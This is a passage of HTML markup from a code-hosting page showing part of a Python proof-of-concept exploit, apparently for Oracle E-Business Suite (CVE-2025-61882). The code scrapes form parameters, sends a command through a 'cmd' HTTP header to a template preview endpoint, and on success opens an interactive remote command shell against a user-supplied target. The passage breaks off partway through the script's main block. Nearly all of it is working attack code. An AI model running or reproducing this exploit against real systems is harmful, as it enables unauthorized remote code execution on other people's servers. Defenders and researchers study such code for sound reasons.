          <td id="file-ebs_cve-2025-61882_poc-py-LC292" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L293" class="blob-num js-line-number js-blob-rnum" data-line-number="293"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC293" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L294" class="blob-num js-line-number js-blob-rnum" data-line-number="294"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC294" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">action_url</span> <span class="pl-c1">=</span> <span class="pl-s1">form</span>.<span class="pl-c1">get</span>(<span class="pl-s">'action'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L295" class="blob-num js-line-number js-blob-rnum" data-line-number="295"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC295" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">action_url</span>.<span class="pl-c1">startswith</span>(<span class="pl-s">"/"</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L296" class="blob-num js-line-number js-blob-rnum" data-line-number="296"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC296" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s">f"<span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">url</span><span class="pl-kos">}</span></span><span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">action_url</span><span class="pl-kos">}</span></span>"</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L297" class="blob-num js-line-number js-blob-rnum" data-line-number="297"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC297" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L298" class="blob-num js-line-number js-blob-rnum" data-line-number="298"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC298" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">full_url</span> <span class="pl-c1">=</span> <span class="pl-s1">action_url</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L299" class="blob-num js-line-number js-blob-rnum" data-line-number="299"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC299" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L300" class="blob-num js-line-number js-blob-rnum" data-line-number="300"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC300" class="blob-code blob-code-inner js-file-line">    <span class="pl-c"># print(f"[+] Form Action: {full_url}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L301" class="blob-num js-line-number js-blob-rnum" data-line-number="301"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC301" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L302" class="blob-num js-line-number js-blob-rnum" data-line-number="302"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC302" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">payload</span> <span class="pl-c1">=</span> {}</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L303" class="blob-num js-line-number js-blob-rnum" data-line-number="303"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC303" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">for</span> <span class="pl-s1">tag</span> <span class="pl-c1">in</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find_all</span>(<span class="pl-s">'input'</span>, <span class="pl-s1">type</span><span class="pl-c1">=</span><span class="pl-s">'hidden'</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L304" class="blob-num js-line-number js-blob-rnum" data-line-number="304"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC304" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">name</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'name'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L305" class="blob-num js-line-number js-blob-rnum" data-line-number="305"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC305" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">value</span> <span class="pl-c1">=</span> <span class="pl-s1">tag</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L306" class="blob-num js-line-number js-blob-rnum" data-line-number="306"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC306" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">name</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L307" class="blob-num js-line-number js-blob-rnum" data-line-number="307"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC307" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s1">name</span>] <span class="pl-c1">=</span> <span class="pl-s1">value</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L308" class="blob-num js-line-number js-blob-rnum" data-line-number="308"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC308" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L309" class="blob-num js-line-number js-blob-rnum" data-line-number="309"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC309" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">preview_link</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'a'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'N3:PreviewEnabled:0'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L310" class="blob-num js-line-number js-blob-rnum" data-line-number="310"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC310" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">preview_link</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L311" class="blob-num js-line-number js-blob-rnum" data-line-number="311"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC311" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Exact ID 'N3:PreviewEnabled:0' not found. Searching loosely..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L312" class="blob-num js-line-number js-blob-rnum" data-line-number="312"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC312" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">preview_link</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'a'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-k">lambda</span> <span class="pl-s1">x</span>: <span class="pl-s1">x</span> <span class="pl-c1">and</span> <span class="pl-s">'PreviewEnabled'</span> <span class="pl-c1">in</span> <span class="pl-s1">x</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L313" class="blob-num js-line-number js-blob-rnum" data-line-number="313"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC313" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L314" class="blob-num js-line-number js-blob-rnum" data-line-number="314"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC314" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">preview_link</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L315" class="blob-num js-line-number js-blob-rnum" data-line-number="315"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC315" class="blob-code blob-code-inner js-file-line">        <span class="pl-c"># print("[+] Found Preview Link.")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L316" class="blob-num js-line-number js-blob-rnum" data-line-number="316"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC316" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">onclick_text</span> <span class="pl-c1">=</span> <span class="pl-s1">preview_link</span>.<span class="pl-c1">get</span>(<span class="pl-s">'onclick'</span>, <span class="pl-s">''</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L317" class="blob-num js-line-number js-blob-rnum" data-line-number="317"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC317" class="blob-code blob-code-inner js-file-line">        </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L318" class="blob-num js-line-number js-blob-rnum" data-line-number="318"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC318" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">match</span> <span class="pl-c1">=</span> <span class="pl-s1">re</span>.<span class="pl-c1">search</span>(<span class="pl-s">r"submitForm\('[^']+',\d+,\{(.+?)\}\)"</span>, <span class="pl-s1">onclick_text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L319" class="blob-num js-line-number js-blob-rnum" data-line-number="319"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC319" class="blob-code blob-code-inner js-file-line">        </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L320" class="blob-num js-line-number js-blob-rnum" data-line-number="320"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC320" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">match</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L321" class="blob-num js-line-number js-blob-rnum" data-line-number="321"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC321" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">params_str</span> <span class="pl-c1">=</span> <span class="pl-s1">match</span>.<span class="pl-c1">group</span>(<span class="pl-c1">1</span>)            </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L322" class="blob-num js-line-number js-blob-rnum" data-line-number="322"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC322" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">pairs</span> <span class="pl-c1">=</span> <span class="pl-s1">params_str</span>.<span class="pl-c1">split</span>(<span class="pl-s">','</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L323" class="blob-num js-line-number js-blob-rnum" data-line-number="323"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC323" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">for</span> <span class="pl-s1">pair</span> <span class="pl-c1">in</span> <span class="pl-s1">pairs</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L324" class="blob-num js-line-number js-blob-rnum" data-line-number="324"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC324" class="blob-code blob-code-inner js-file-line">                <span class="pl-k">if</span> <span class="pl-s">':'</span> <span class="pl-c1">in</span> <span class="pl-s1">pair</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L325" class="blob-num js-line-number js-blob-rnum" data-line-number="325"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC325" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">key</span>, <span class="pl-s1">val</span> <span class="pl-c1">=</span> <span class="pl-s1">pair</span>.<span class="pl-c1">split</span>(<span class="pl-s">':'</span>, <span class="pl-c1">1</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L326" class="blob-num js-line-number js-blob-rnum" data-line-number="326"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC326" class="blob-code blob-code-inner js-file-line">                    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L327" class="blob-num js-line-number js-blob-rnum" data-line-number="327"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC327" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">key</span> <span class="pl-c1">=</span> <span class="pl-s1">key</span>.<span class="pl-c1">strip</span>().<span class="pl-c1">strip</span>(<span class="pl-s">"'"</span>).<span class="pl-c1">strip</span>(<span class="pl-s">'"'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L328" class="blob-num js-line-number js-blob-rnum" data-line-number="328"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC328" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">val</span> <span class="pl-c1">=</span> <span class="pl-s1">val</span>.<span class="pl-c1">strip</span>().<span class="pl-c1">strip</span>(<span class="pl-s">"'"</span>).<span class="pl-c1">strip</span>(<span class="pl-s">'"'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L329" class="blob-num js-line-number js-blob-rnum" data-line-number="329"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC329" class="blob-code blob-code-inner js-file-line">                    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L330" class="blob-num js-line-number js-blob-rnum" data-line-number="330"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC330" class="blob-code blob-code-inner js-file-line">                    <span class="pl-s1">payload</span>[<span class="pl-s1">key</span>] <span class="pl-c1">=</span> <span class="pl-s1">val</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L331" class="blob-num js-line-number js-blob-rnum" data-line-number="331"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC331" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L332" class="blob-num js-line-number js-blob-rnum" data-line-number="332"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC332" class="blob-code blob-code-inner js-file-line">            <span class="pl-en">print</span>(<span class="pl-s">"[-] Could not regex parse the onclick event."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L333" class="blob-num js-line-number js-blob-rnum" data-line-number="333"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC333" class="blob-code blob-code-inner js-file-line">            <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L334" class="blob-num js-line-number js-blob-rnum" data-line-number="334"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC334" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L335" class="blob-num js-line-number js-blob-rnum" data-line-number="335"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC335" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">"[-] Error: Could not find the Preview Button in the HTML."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L336" class="blob-num js-line-number js-blob-rnum" data-line-number="336"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC336" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">return</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L337" class="blob-num js-line-number js-blob-rnum" data-line-number="337"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC337" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L338" class="blob-num js-line-number js-blob-rnum" data-line-number="338"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC338" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">preview_format_select</span> <span class="pl-c1">=</span> <span class="pl-s1">soup</span>.<span class="pl-c1">find</span>(<span class="pl-s">'select'</span>, <span class="pl-s1">id</span><span class="pl-c1">=</span><span class="pl-s">'PreviewFormat'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L339" class="blob-num js-line-number js-blob-rnum" data-line-number="339"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC339" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-s1">preview_format_select</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L340" class="blob-num js-line-number js-blob-rnum" data-line-number="340"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC340" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">selected_opt</span> <span class="pl-c1">=</span> <span class="pl-s1">preview_format_select</span>.<span class="pl-c1">find</span>(<span class="pl-s">'option'</span>, <span class="pl-s1">selected</span><span class="pl-c1">=</span><span class="pl-c1">True</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L341" class="blob-num js-line-number js-blob-rnum" data-line-number="341"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC341" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-c1">not</span> <span class="pl-s1">selected_opt</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L342" class="blob-num js-line-number js-blob-rnum" data-line-number="342"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC342" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">selected_opt</span> <span class="pl-c1">=</span> <span class="pl-s1">preview_format_select</span>.<span class="pl-c1">find</span>(<span class="pl-s">'option'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L343" class="blob-num js-line-number js-blob-rnum" data-line-number="343"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC343" class="blob-code blob-code-inner js-file-line">        </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L344" class="blob-num js-line-number js-blob-rnum" data-line-number="344"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC344" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s1">selected_opt</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L345" class="blob-num js-line-number js-blob-rnum" data-line-number="345"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC345" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">p_fmt_val</span> <span class="pl-c1">=</span> <span class="pl-s1">selected_opt</span>.<span class="pl-c1">get</span>(<span class="pl-s">'value'</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L346" class="blob-num js-line-number js-blob-rnum" data-line-number="346"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC346" class="blob-code blob-code-inner js-file-line">            <span class="pl-s1">payload</span>[<span class="pl-s">'PreviewFormat'</span>] <span class="pl-c1">=</span> <span class="pl-s1">p_fmt_val</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L347" class="blob-num js-line-number js-blob-rnum" data-line-number="347"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC347" class="blob-code blob-code-inner js-file-line">            <span class="pl-c"># print(f"[+] Setting PreviewFormat: {p_fmt_val}")</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L348" class="blob-num js-line-number js-blob-rnum" data-line-number="348"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC348" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L349" class="blob-num js-line-number js-blob-rnum" data-line-number="349"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC349" class="blob-code blob-code-inner js-file-line">    <span class="pl-en">print</span>(<span class="pl-s">"[*] Sending POST request to Preview Template..."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L350" class="blob-num js-line-number js-blob-rnum" data-line-number="350"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC350" class="blob-code blob-code-inner js-file-line">    </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L351" class="blob-num js-line-number js-blob-rnum" data-line-number="351"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC351" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">try</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L352" class="blob-num js-line-number js-blob-rnum" data-line-number="352"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC352" class="blob-code blob-code-inner js-file-line">        <span class="pl-c1">HEADERS</span>.<span class="pl-c1">update</span>({<span class="pl-s">"cmd"</span>: <span class="pl-s">"echo OK"</span>})</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L353" class="blob-num js-line-number js-blob-rnum" data-line-number="353"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC353" class="blob-code blob-code-inner js-file-line">        <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L354" class="blob-num js-line-number js-blob-rnum" data-line-number="354"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC354" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">if</span> <span class="pl-s">"OK"</span> <span class="pl-c1">in</span> <span class="pl-s1">r</span>.<span class="pl-c1">text</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L355" class="blob-num js-line-number js-blob-rnum" data-line-number="355"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC355" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[!] SUCCESS"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L356" class="blob-num js-line-number js-blob-rnum" data-line-number="356"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC356" class="blob-code blob-code-inner js-file-line">             <span class="pl-k">while</span> <span class="pl-c1">True</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L357" class="blob-num js-line-number js-blob-rnum" data-line-number="357"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC357" class="blob-code blob-code-inner js-file-line">                 <span class="pl-s1">cmd</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"cmd&gt; "</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L358" class="blob-num js-line-number js-blob-rnum" data-line-number="358"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC358" class="blob-code blob-code-inner js-file-line">                 <span class="pl-k">if</span> <span class="pl-s1">cmd</span>.<span class="pl-c1">lower</span>() <span class="pl-c1">in</span> [<span class="pl-s">'exit'</span>, <span class="pl-s">'quit'</span>]:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L359" class="blob-num js-line-number js-blob-rnum" data-line-number="359"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC359" class="blob-code blob-code-inner js-file-line">                     <span class="pl-k">break</span></td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L360" class="blob-num js-line-number js-blob-rnum" data-line-number="360"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC360" class="blob-code blob-code-inner js-file-line">                 </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L361" class="blob-num js-line-number js-blob-rnum" data-line-number="361"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC361" class="blob-code blob-code-inner js-file-line">                 <span class="pl-c1">HEADERS</span>.<span class="pl-c1">update</span>({<span class="pl-s">"cmd"</span>: <span class="pl-s1">cmd</span>})</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L362" class="blob-num js-line-number js-blob-rnum" data-line-number="362"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC362" class="blob-code blob-code-inner js-file-line">                 <span class="pl-s1">r</span> <span class="pl-c1">=</span> <span class="pl-s1">requests</span>.<span class="pl-c1">post</span>(<span class="pl-s1">full_url</span>, <span class="pl-s1">headers</span><span class="pl-c1">=</span><span class="pl-c1">HEADERS</span>, <span class="pl-s1">cookies</span><span class="pl-c1">=</span><span class="pl-c1">COOKIES</span>, <span class="pl-s1">data</span><span class="pl-c1">=</span><span class="pl-s1">payload</span>, <span class="pl-s1">verify</span><span class="pl-c1">=</span><span class="pl-c1">False</span>, <span class="pl-s1">proxies</span><span class="pl-c1">=</span><span class="pl-c1">PROXY</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L363" class="blob-num js-line-number js-blob-rnum" data-line-number="363"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC363" class="blob-code blob-code-inner js-file-line">                 <span class="pl-en">print</span>(<span class="pl-s1">r</span>.<span class="pl-c1">text</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L364" class="blob-num js-line-number js-blob-rnum" data-line-number="364"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC364" class="blob-code blob-code-inner js-file-line">        <span class="pl-k">else</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L365" class="blob-num js-line-number js-blob-rnum" data-line-number="365"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC365" class="blob-code blob-code-inner js-file-line">             <span class="pl-en">print</span>(<span class="pl-s">"[-] Failed to preview template or no output returned. Check manually."</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L366" class="blob-num js-line-number js-blob-rnum" data-line-number="366"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC366" class="blob-code blob-code-inner js-file-line">             </td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L367" class="blob-num js-line-number js-blob-rnum" data-line-number="367"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC367" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L368" class="blob-num js-line-number js-blob-rnum" data-line-number="368"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC368" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L369" class="blob-num js-line-number js-blob-rnum" data-line-number="369"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC369" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">except</span> <span class="pl-v">Exception</span> <span class="pl-k">as</span> <span class="pl-s1">e</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L370" class="blob-num js-line-number js-blob-rnum" data-line-number="370"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC370" class="blob-code blob-code-inner js-file-line">        <span class="pl-en">print</span>(<span class="pl-s">f"[-] Request failed: <span class="pl-s1"><span class="pl-kos">{</span><span class="pl-s1">e</span><span class="pl-kos">}</span></span>"</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L371" class="blob-num js-line-number js-blob-rnum" data-line-number="371"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC371" class="blob-code blob-code-inner js-file-line">
</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L372" class="blob-num js-line-number js-blob-rnum" data-line-number="372"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC372" class="blob-code blob-code-inner js-file-line"><span class="pl-k">if</span> <span class="pl-s1">__name__</span> <span class="pl-c1">==</span> <span class="pl-s">"__main__"</span>:</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L373" class="blob-num js-line-number js-blob-rnum" data-line-number="373"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC373" class="blob-code blob-code-inner js-file-line">    <span class="pl-s1">url</span> <span class="pl-c1">=</span> <span class="pl-en">input</span>(<span class="pl-s">"Enter target url (ex:http://example.com): "</span>)</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L374" class="blob-num js-line-number js-blob-rnum" data-line-number="374"></td>
          <td id="file-ebs_cve-2025-61882_poc-py-LC374" class="blob-code blob-code-inner js-file-line">    <span class="pl-k">if</span> <span class="pl-en">check</span>(<span class="pl-s1">url</span>):</td>
        </tr>
        <tr>
          <td id="file-ebs_cve-2025-61882_poc-py-L375" class="blob-num js-line-number js-blob-rnum" data-line-number="375"></td>
